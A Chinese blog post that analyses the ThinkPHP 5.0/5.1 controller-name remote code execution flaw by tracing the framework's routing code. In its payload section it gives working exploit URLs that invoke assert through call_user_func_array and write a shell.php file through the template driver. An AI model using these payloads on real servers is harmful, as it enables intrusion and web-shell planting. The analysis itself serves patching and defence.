0x01 简叙本次版本更新主要涉及一个安全更新,由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的情况下可能的getshell漏洞,受影响的版本包括5.0和5.1版本,推荐尽快更新到最新版本。

这部分是官网的漏洞通告,官方最开始的补丁是在library/think/route/dispatch/Module.php中添加。

但是随机在第二天的5.1.31版本中将这部分的控制移动到library/think/route/dispatch/Url.php中。

0x02 漏洞分析

当然官方修改代码的位置是在thinkphp\library\think\route\dispatch\Module.php:70,因此可以现在这里下个断点看看。

我们看到传入初始化的url之后,调用链调用了thinkphp\library\think\route\dispatch\url.php:25,我们来看一下代码。

1

2

3

4

5

6

7public function init()

{

// 解析默认的URL规则

$result = $this->parseUrl($this->dispatch);

return (new Module($this->request, $this->rule, $result))->init();

}

第四行调用了 parseUrl 函数针对传入的$this->dispatch进行解析。跟进一下 parseUrl 函数,函数位置在think/thinkphp/library/think/route/dispatch/Url.php:37,下一个断点看看。

我们发现调用会调用 parseUrl 函数中的 parseUrlPath 方法针对url进行处理,跟进一下 parseUrlPath 方法。代码位置think/thinkphp/library/think/route/Rule.php。

对于thinkphp的框架来说url正常的请求方式应该是 aa/bb/cc 也就是上面代码注释中的模块/控制器/操作。然后这里将url根据/进行了切割形成一个数组存到 $path 变量中并返回到调用者。那么最后经过 parseUrl 函数处理之后的结果 $route 变量实际上就是上面的模块/控制器/操作三个部分。

$result就是我们之前说到的封装好的路由数组,传递给了Module的构造函数。

我们继续往下看由于存在这两行代码:

1

2class Url extends Dispatch

class Module extends Dispatch

也就是说这里的 url 和 module 都是继承自 Dispatch 类,跟进看一下 Dispatch 类的实现。相关代码在:think/thinkphp/library/think/route/Dispatch.php:64

因此根据这个结构,初始化 Module 类的时候,将我们之前的 $result 数组传递了给了 $dispatch 变量,并且调用 Module 类的init方法

1return (new Module($this->request, $this->rule, $result))->init();

因此继续跟进下来的 $result 变量实际上是我们刚刚的数组。

所以回到我们刚刚的漏洞出发点,下个断点,我们发现 $controller 变量和 $this->actionName 都是从我们刚刚返回的 $result 数组中获取的。

继续跟进调试,当路径判断等init操作全部完成之后,程序会运行到think/thinkphp/library/think/App.php:432。

1

2

3$this->middleware->add(function (Request $request, $next) use ($dispatch, $data){

return is_null($data) ? $dispatch->run() : $data;

});

这行直接调用了$dispatch->run(),跟进一下,这个函数作用是执行路由调度。

其中第19行调用了 exec 方法,跟进一下,这里我下了一个断点,当程序到了这里实例化了控制器 controller ,且根据上面的分析 $this->controller 完全可控。

继续跟进一下 controller ,第三行调用了 $this->parseModuleAndClass 方法来处理 $name 变量。而 $name 变量,正是前面是实例化的 $this->controller 。并且 第5-9行 此时判断类是否存在,不存在会触发自动加载类,然后第11行实例化这个类。

1

2

3

4

5

6

7

8

9

10

11

12public function controller($name, $layer = 'controller', $appendSuffix = false, $empty = '')

{

list($module, $class) = $this->parseModuleAndClass($name, $layer, $appendSuffix);

if (class_exists($class)) {

return $this->__get($class);

} elseif ($empty && class_exists($emptyClass = $this->parseClass($module, $layer, $empty, $appendSuffix))) {

return $this->__get($emptyClass);

}

throw new ClassNotFoundException('class not exists:' . $class, $class);

}

跟进一下 parseModuleAndClass 方法,也就是说如果 $name 变量中带有/,会直接将$name赋值给$class并返回

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17protected function parseModuleAndClass($name, $layer, $appendSuffix)

{

if (false !== strpos($name, '\\')) {

$class = $name;

$module = $this->request->module();

} else {

if (strpos($name, '/')) {

list($module, $name) = explode('/', $name, 2);

} else {

$module = $this->request->module();

}

$class = $this->parseClass($module, $layer, $name, $appendSuffix);

}

return [$module, $class];

}

而从我们刚刚分析中可以知道 $name 实际上是可控的,这里实际上可以使用利用命名空间的特点(ph师傅真厉害,code-breaking的function就是说这个东西的),如果可以控制此处的$name(即路由中的controller部分),那么就可以实例化任何一个类。

那么现在到这里实际上为啥会RCE基本上弄清楚了,关键是如何控制它RCE,首先我们运行应用程序的时候,实际上是think/thinkphp/library/think/App.php:375

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18public function run()

{

try {

// 初始化应用

$this->initialize();

....

// 监听app_dispatch

$this->hook->listen('app_dispatch');

$dispatch = $this->dispatch;

if (empty($dispatch)) {

// 路由检测

$dispatch = $this->routeCheck()->init();

}

// 记录当前调度信息

$this->request->dispatch($dispatch);

我们看到第14行,调用 routeCheck 的init方法来检测路由,跟进一下 routeCheck 。

1

2

3

4

5

6

7

8

9

10

11

12public function routeCheck()

{

...

// 获取应用调度信息

$path = $this->request->path();

// 是否强制路由模式

$must = !is_null($this->routeMust) ? $this->routeMust : $this->route->config('url_route_must');

// 路由检测 返回一个Dispatch对象

$dispatch = $this->route->check($path, $must);

从这里我们可以看到默认开启了强制路由模式,并且调用的 request 中的 path 方法来获取路由信息。跟进一下 path 方法,发现调用的是 pathinfo 方法来读取路径信息。

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20public function path()

{

if (is_null($this->path)) {

$suffix = $this->config['url_html_suffix'];

$pathinfo = $this->pathinfo();

if (false === $suffix) {

// 禁止伪静态访问

$this->path = $pathinfo;

} elseif ($suffix) {

// 去除正常的URL后缀

$this->path = preg_replace('/\.(' . ltrim($suffix, '.') . ')$/i', '', $pathinfo);

} else {

// 允许任何后缀访问

$this->path = preg_replace('/\.' . $this->ext() . '$/i', '', $pathinfo);

}

}

return $this->path;

}

跟进一下 pathinfo 方法,我们发现它会从 $_GET[$this->config[‘var_pathinfo’] 中判断是否有 $pathinfo 信息。

1

2

3

4

5

6

7

8public function pathinfo()

{

if (is_null($this->pathinfo)) {

if (isset($_GET[$this->config['var_pathinfo']])) {

// 判断URL里面是否有兼容模式参数

$pathinfo = $_GET[$this->config['var_pathinfo']];

unset($_GET[$this->config['var_pathinfo']]);

} elseif ($this->isCli()) {

当请求报文包含$_GET['s'],就取其值作为pathinfo,并返回pathinfo给调用函数。

然后会 $path 交由 check 函数进行处理,最后的结果赋值给 $dispatch 。

1$dispatch = $this->route->check($path, $must);

跟进一下 check 函数,最后实例化一个 UrlDispatch 对象,将 $url 传递给了构造函数。

1

2

3

4

5

6

7

8

9

10

11public function check($url, $must = false)

{

// 自动检测域名路由

$domain = $this->checkDomain();

$url = str_replace($this->config['pathinfo_depr'], '|', $url);

...

// 默认路由解析

return new UrlDispatch($this->request, $this->group, $url, [

'auto_search' => $this->autoSearchController,

]);

}

继续跟进一下 UrlDispatch 对象,最后就回到了我们最开始的thinkphp\library\think\route\dispatch\url.php。

0x03 payload

自己真的懒。膜拜一下水泡泡师傅,这里直接丢他先知上给的,要是这个早出来几天就好了,这样我就可以刷一刷一个众测了,据说6个月前就有人在bbs问过这个问题了,tql。

5.1是下面这些:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38think\Loader

Composer\Autoload\ComposerStaticInit289837ff5d5ea8a00f5cc97a07c04561

think\Error

think\Container

think\App

think\Env

think\Config

think\Hook

think\Facade

think\facade\Env

env

think\Db

think\Lang

think\Request

think\Log

think\log\driver\File

think\facade\Route

route

think\Route

think\route\Rule

think\route\RuleGroup

think\route\Domain

think\route\RuleItem

think\route\RuleName

think\route\Dispatch

think\route\dispatch\Url

think\route\dispatch\Module

think\Middleware

think\Cookie

think\View

think\view\driver\Think

think\Template

think\template\driver\File

think\Session

think\Debug

think\Cache

think\cache\Driver

think\cache\driver\File

5.0 的有:

1

2

3

4

5

6

7

8

9

10think\Route

think\Config

think\Error

think\App

think\Request

think\Hook

think\Env

think\Lang

think\Log

think\Loader

两个版本公有的是:

1

2

3

4

5

6

7

8

9

10think\Route

think\Loader

think\Error

think\App

think\Env

think\Config

think\Hook

think\Lang

think\Request

think\Log

5.1.x php版本>5.5

1

2

3

4

5http://127.0.0.1/index.php?s=index/think\request/input?data[]=phpinfo()&filter=assert

http://127.0.0.1/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=phpinfo()

http://127.0.0.1/index.php?s=index/\think\template\driver\file/write?cacheFile=shell.php&content=<?php %20phpinfo();?>

5.0.x php版本>=5.4

1http://127.0.0.1/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=phpinfo()

Refer

thinkphp v5.0.11漏洞_Thinkphp 5.0远程代码执行漏洞相关推荐

  1. [系统安全] 九.Windows漏洞利用之MS08-067远程代码执行漏洞复现及深度防御

    您可能之前看到过我写的类似文章,为什么还要重复撰写呢?只是想更好地帮助初学者了解病毒逆向分析和系统安全,更加成体系且不破坏之前的系列.因此,我重新开设了这个专栏,准备系统整理和深入学习系统安全.逆向分 ...

  2. wordpress php执行短代码_【漏洞通告】PHP远程代码执行漏洞(CVE-2019-11043)

    1.综述2019年9月14日至18举办的 Real World CTF中,国外安全研究员 Andrew Danau 在解决一道CTF题目时发现,向目标服务器 URL 发送 %0a 符号时,服务返回异常 ...

  3. ThinkPHP V5.0.5漏洞_ThinkPHP 5.x 远程命令执行漏洞分析与复现

    php中文网最新课程 每日17点准时技术干货分享 0x00 前言 ThinkPHP 官方 2018 年 12 月 9 日发布重要的安全更新,修复了一个严重的远程代码执行漏洞.该更新主要涉及一个安全更新 ...

  4. php/5.2.17漏洞,【漏洞预警】ThinkPHP5远程代码执行漏洞

    2018年12月10日,白帽汇安全研究院发现thinkphp官网发布了安全更新,修复了一个远程代码执行漏洞,该漏洞是由于框架对控制器名没有进行敏感字符检测,导致在没有开启强制路由的情况下可能导致远程代 ...

  5. android fastjson漏洞_【漏洞预警】Fastjson 远程代码执行漏洞(暂无PoC)

    Fastjson简介 Fastjson是一个Java语言编写的高性能功能完善的JSON库.它采用一种"假定有序快速匹配"的算法,把JSON Parse的性能提升到极致,是目前Jav ...

  6. rmi远程代码执行漏洞_Apache Solr反序列化远程代码执行漏洞分析(CVE20190192)

    更多全球网络安全资讯尽在邑安全 www.eansec.com ‍‍‍‍ 0x01 漏洞描述 Solr 是Apache软件基金会开源的搜索引擎框架,其中定义的ConfigAPI允许设置任意的jmx.se ...

  7. rmi远程代码执行漏洞_【最新漏洞简讯】WebLogic远程代码执行漏洞 (CVE202014645)

    ↑ 点击上方"SecMind安全管家"关注我们 情报编号:W1120200715 漏洞概述 WebLogic是Oracle公司出品的用于开发.集成.部署和管理大型分布式Web应用. ...

  8. 安全漏洞:Apache Log4j2 远程代码执行漏洞(CVE-2021-44228)

    阿里云漏洞库 (aliyun.com) 漏洞介绍 解决建议 1.排查应用是否引入了Apache log4j-core Jar包,若存在依赖引入,且在受影响版本范围内,则可能存在漏洞影响.同时为了避免在 ...

  9. 自检代码中trustmanager漏洞_通达OA远程代码执行漏洞通告

    报告编号:B6-2020-031801

  10. [系统安全] 十.Windows漏洞利用之SMBv3服务远程代码执行漏洞(CVE-2020-0796)及防御详解

    您可能之前看到过我写的类似文章,为什么还要重复撰写呢?只是想更好地帮助初学者了解病毒逆向分析和系统安全,更加成体系且不破坏之前的系列.因此,我重新开设了这个专栏,准备系统整理和深入学习系统安全.逆向分 ...

最新文章

  1. 拒绝遗忘:高效的动态规划算法
  2. 环球博览|中国六代机有望5年内问世
  3. C#对图片的几种简单处理 [ZT]
  4. IntelliJ IDEA 的 .idea 目录加入.gitignore无效的解决方法
  5. 九、distinct
  6. 修改element默认样式_ggplot2作图:修改主题元素的外观样式(整体修改)
  7. 通过正则寻找符合要求的字符串
  8. [BUUCTF-pwn]——picoctf_2018_buffer overflow 2
  9. 【详细讲解】1065 A+B and C (64bit) (20 分)
  10. function在mysql里总是出错_如何在MySQL函数中引发错误
  11. xp和linux的引导文件,Linux与XP双系统中grub引导配置笔记
  12. 利用Splatting提交参数(Hash,哈希)
  13. vivo手机刷鸿蒙教程,vivo手机怎么刷机_vivo手机刷机全教程
  14. Java 将Word转为OFD
  15. 在哪里可以搜索英文文献?
  16. 34本设计师必看的书籍推荐
  17. 电脑开机加速,一下子就提升了20几秒
  18. 如何查看历史卫星影像图
  19. 吴恩达机器学习打卡day6
  20. 尾气冒黑烟是什么问题_尾气冒黑烟是坏了?教你通过尾气辨别爱车是否故障!...

热门文章

  1. EnvironmentShare
  2. Jsp+SpringMVC+Mysql实现的进销存库存管理系统附带论文
  3. 红石科技机器人_《机器人殖民地》—游戏简评
  4. 2018江苏冬令营5 交换矩阵
  5. 11 二叉查找树中搜索区间
  6. 利用PowerDesigner15在win7系统下对MySQL 进行反向project(二)
  7. JS_call_APP native 与 html的交互
  8. [转]PCM文件格式
  9. SharePoint Portal Server之常见问题
  10. python代码中怎么增加数据_python 实现数据库中数据添加、查询与更新的示例代码...